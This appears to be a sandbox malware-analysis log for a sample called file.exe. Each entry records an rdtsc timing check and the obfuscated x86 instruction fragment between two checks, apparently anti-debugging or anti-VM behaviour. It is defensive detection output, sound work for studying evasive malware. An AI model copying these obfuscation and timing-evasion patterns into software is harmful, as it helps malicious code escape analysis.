Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D100B7 second address: 4D100D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6759h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D100D4 second address: 4D100DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D100DA second address: 4D100E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D100E7 second address: 4D10109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ch, AAh 0x00000006 popad 0x00000007 pushad 0x00000008 movsx edi, ax 0x0000000b mov eax, 1640C7EBh 0x00000010 popad 0x00000011 popad 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD4A8FBA01Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10109 second address: 4D1010F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1010F second address: 4D1013C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx edx, ax 0x0000000f pushfd 0x00000010 jmp 00007FD4A8FBA01Ah 0x00000015 xor ecx, 4E144ED8h 0x0000001b jmp 00007FD4A8FBA01Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1013C second address: 4D10142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10142 second address: 4D10146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10182 second address: 4D10197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8CA6751h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10197 second address: 4D101CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d pushad 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 pushad 0x00000013 jmp 00007FD4A8FBA020h 0x00000018 movzx ecx, dx 0x0000001b popad 0x0000001c popad 0x0000001d mov edi, 00000000h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov ecx, edi 0x00000027 movsx ebx, ax 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D101CD second address: 4D10221 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA674Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a pushad 0x0000000b call 00007FD4A8CA6753h 0x00000010 mov edi, ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 test al, al 0x00000016 jmp 00007FD4A8CA674Bh 0x0000001b je 00007FD4A8CA68B7h 0x00000021 pushad 0x00000022 mov dx, cx 0x00000025 mov ch, 99h 0x00000027 popad 0x00000028 lea ecx, dword ptr [ebp-14h] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov si, 86EBh 0x00000032 mov ecx, 6225A6C7h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10221 second address: 4D10227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10227 second address: 4D1022B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D102D9 second address: 4D10327 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007FD4A8FBA01Ch 0x0000000b xor si, 2B58h 0x00000010 jmp 00007FD4A8FBA01Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 jg 00007FD519D481A3h 0x0000001f jmp 00007FD4A8FBA026h 0x00000024 js 00007FD4A8FBA070h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10327 second address: 4D1032B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1032B second address: 4D1032F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1032F second address: 4D10335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10335 second address: 4D1033B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1033B second address: 4D1033F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1033F second address: 4D103AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA01Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e jmp 00007FD4A8FBA020h 0x00000013 jne 00007FD519D4814Bh 0x00000019 pushad 0x0000001a mov di, si 0x0000001d jmp 00007FD4A8FBA01Ah 0x00000022 popad 0x00000023 mov ebx, dword ptr [ebp+08h] 0x00000026 jmp 00007FD4A8FBA020h 0x0000002b lea eax, dword ptr [ebp-2Ch] 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FD4A8FBA027h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D103AA second address: 4D103C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8CA6754h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D103C2 second address: 4D103DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA01Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D103DA second address: 4D103DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D103DE second address: 4D103E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D103E4 second address: 4D10401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8CA6759h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10401 second address: 4D10405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10405 second address: 4D10432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD4A8CA674Ch 0x0000000e xchg eax, esi 0x0000000f jmp 00007FD4A8CA6750h 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10432 second address: 4D10436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10436 second address: 4D1043A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1043A second address: 4D10440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10440 second address: 4D10490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 0BB1h 0x00000007 mov ax, B1EDh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov ch, bl 0x00000012 push eax 0x00000013 mov eax, edi 0x00000015 pop edx 0x00000016 popad 0x00000017 nop 0x00000018 pushad 0x00000019 mov edi, esi 0x0000001b jmp 00007FD4A8CA6752h 0x00000020 popad 0x00000021 xchg eax, ebx 0x00000022 jmp 00007FD4A8CA6750h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD4A8CA674Eh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10490 second address: 4D10496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10496 second address: 4D1049A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00F41 second address: 4D00F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00F45 second address: 4D00F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00F69 second address: 4D00F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00F6D second address: 4D00F71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00F71 second address: 4D00F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10861 second address: 4D10872 instructions: 0x00000000 rdtsc 0x00000002 mov eax, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ebx 0x0000000d movzx eax, di 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10872 second address: 4D1088D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8FBA027h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1088D second address: 4D108F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6759h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FD4A8CA674Eh 0x00000012 cmp dword ptr [75AF459Ch], 05h 0x00000019 jmp 00007FD4A8CA6750h 0x0000001e je 00007FD519A24872h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FD4A8CA6757h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10975 second address: 4D10991 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10991 second address: 4D109A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov al, bl 0x00000013 mov cx, 6FDDh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D109A9 second address: 4D10A00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA023h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007FD4A8FBA01Fh 0x00000011 mov eax, 7BB12F5Fh 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov si, B32Dh 0x00000022 pushfd 0x00000023 jmp 00007FD4A8FBA01Ah 0x00000028 xor si, 57C8h 0x0000002d jmp 00007FD4A8FBA01Bh 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A00 second address: 4D10A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A06 second address: 4D10A2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA01Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD4A8FBA020h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A2C second address: 4D10A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A30 second address: 4D10A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A36 second address: 4D10A3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A3C second address: 4D10A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10A40 second address: 4D10A44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10B00 second address: 4D10B06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20A8B second address: 4D20AEB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD4A8CA6758h 0x00000008 sub ch, FFFFFFC8h 0x0000000b jmp 00007FD4A8CA674Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov ch, 5Fh 0x00000015 popad 0x00000016 push ecx 0x00000017 pushad 0x00000018 movzx esi, di 0x0000001b movsx edx, ax 0x0000001e popad 0x0000001f mov dword ptr [esp], ebp 0x00000022 jmp 00007FD4A8CA6752h 0x00000027 mov ebp, esp 0x00000029 pushad 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d mov ah, 78h 0x0000002f popad 0x00000030 mov esi, ebx 0x00000032 popad 0x00000033 push ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20AEB second address: 4D20AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20AEF second address: 4D20AF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20AF5 second address: 4D20B5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD4A8FBA020h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], esi 0x0000000f jmp 00007FD4A8FBA01Ch 0x00000014 mov esi, dword ptr [ebp+0Ch] 0x00000017 jmp 00007FD4A8FBA020h 0x0000001c test esi, esi 0x0000001e jmp 00007FD4A8FBA020h 0x00000023 je 00007FD519D2788Dh 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FD4A8FBA027h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20B5F second address: 4D20B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6759h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AF459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20B8A second address: 4D20B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20C25 second address: 4D20C64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6759h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD4A8CA6751h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD4A8CA674Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20C9C second address: 4D20CA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20CA0 second address: 4D20CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612E810 second address: 612E82C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612E82C second address: 612E83E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD4A8CA674Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62AA434 second address: 62AA43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629D5F6 second address: 629D5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629D5FC second address: 629D61B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4A8FBA025h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629D61B second address: 629D61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A99E5 second address: 62A9A0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA028h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FD4A8FBA016h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A9A0B second address: 62A9A22 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 js 00007FD4A8CA6765h 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007FD4A8CA6746h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A9B74 second address: 62A9B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62ABD84 second address: 62ABD88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62ABD88 second address: 62ABD8E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62ABDFA second address: 62ABEC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6756h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jl 00007FD4A8CA6746h 0x00000010 pop edi 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 jg 00007FD4A8CA674Ch 0x0000001b mov esi, dword ptr [ebp+122D2EEDh] 0x00000021 mov dword ptr [ebp+122D1DD7h], esi 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007FD4A8CA6748h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 0000001Dh 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 mov dword ptr [ebp+122D5D1Dh], edi 0x00000049 mov edx, dword ptr [ebp+122D3025h] 0x0000004f push E2281EAEh 0x00000054 push esi 0x00000055 pushad 0x00000056 jbe 00007FD4A8CA6746h 0x0000005c jl 00007FD4A8CA6746h 0x00000062 popad 0x00000063 pop esi 0x00000064 add dword ptr [esp], 1DD7E1D2h 0x0000006b sub dword ptr [ebp+122D2C65h], ecx 0x00000071 push 00000003h 0x00000073 mov ch, dl 0x00000075 push 00000000h 0x00000077 call 00007FD4A8CA6750h 0x0000007c jmp 00007FD4A8CA6757h 0x00000081 pop esi 0x00000082 push 00000003h 0x00000084 sub edx, 16DAD08Ch 0x0000008a push 6E3B112Eh 0x0000008f push eax 0x00000090 pushad 0x00000091 push eax 0x00000092 push edx 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62ABEC6 second address: 62ABF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop eax 0x00000008 add dword ptr [esp], 51C4EED2h 0x0000000f jmp 00007FD4A8FBA023h 0x00000014 lea ebx, dword ptr [ebp+12451CDDh] 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FD4A8FBA018h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 and esi, dword ptr [ebp+122D2C65h] 0x0000003a sbb edi, 50EABCBAh 0x00000040 mov dx, cx 0x00000043 xchg eax, ebx 0x00000044 pushad 0x00000045 jp 00007FD4A8FBA01Ch 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62ABF63 second address: 62ABF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62ABF69 second address: 62ABFA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov edx, dword ptr [ebp+122D2EC9h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FD4A8FBA018h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov cx, ax 0x0000002d push 729DD2C7h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 pushad 0x00000036 popad 0x00000037 pop eax 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62ABFA6 second address: 62ABFAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62ABFAB second address: 62ABFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62AC0A1 second address: 62AC0C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6759h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007FD4A8CA6746h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62AC0C9 second address: 62AC0CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62AC11D second address: 62AC12F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007FD4A8CA6746h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
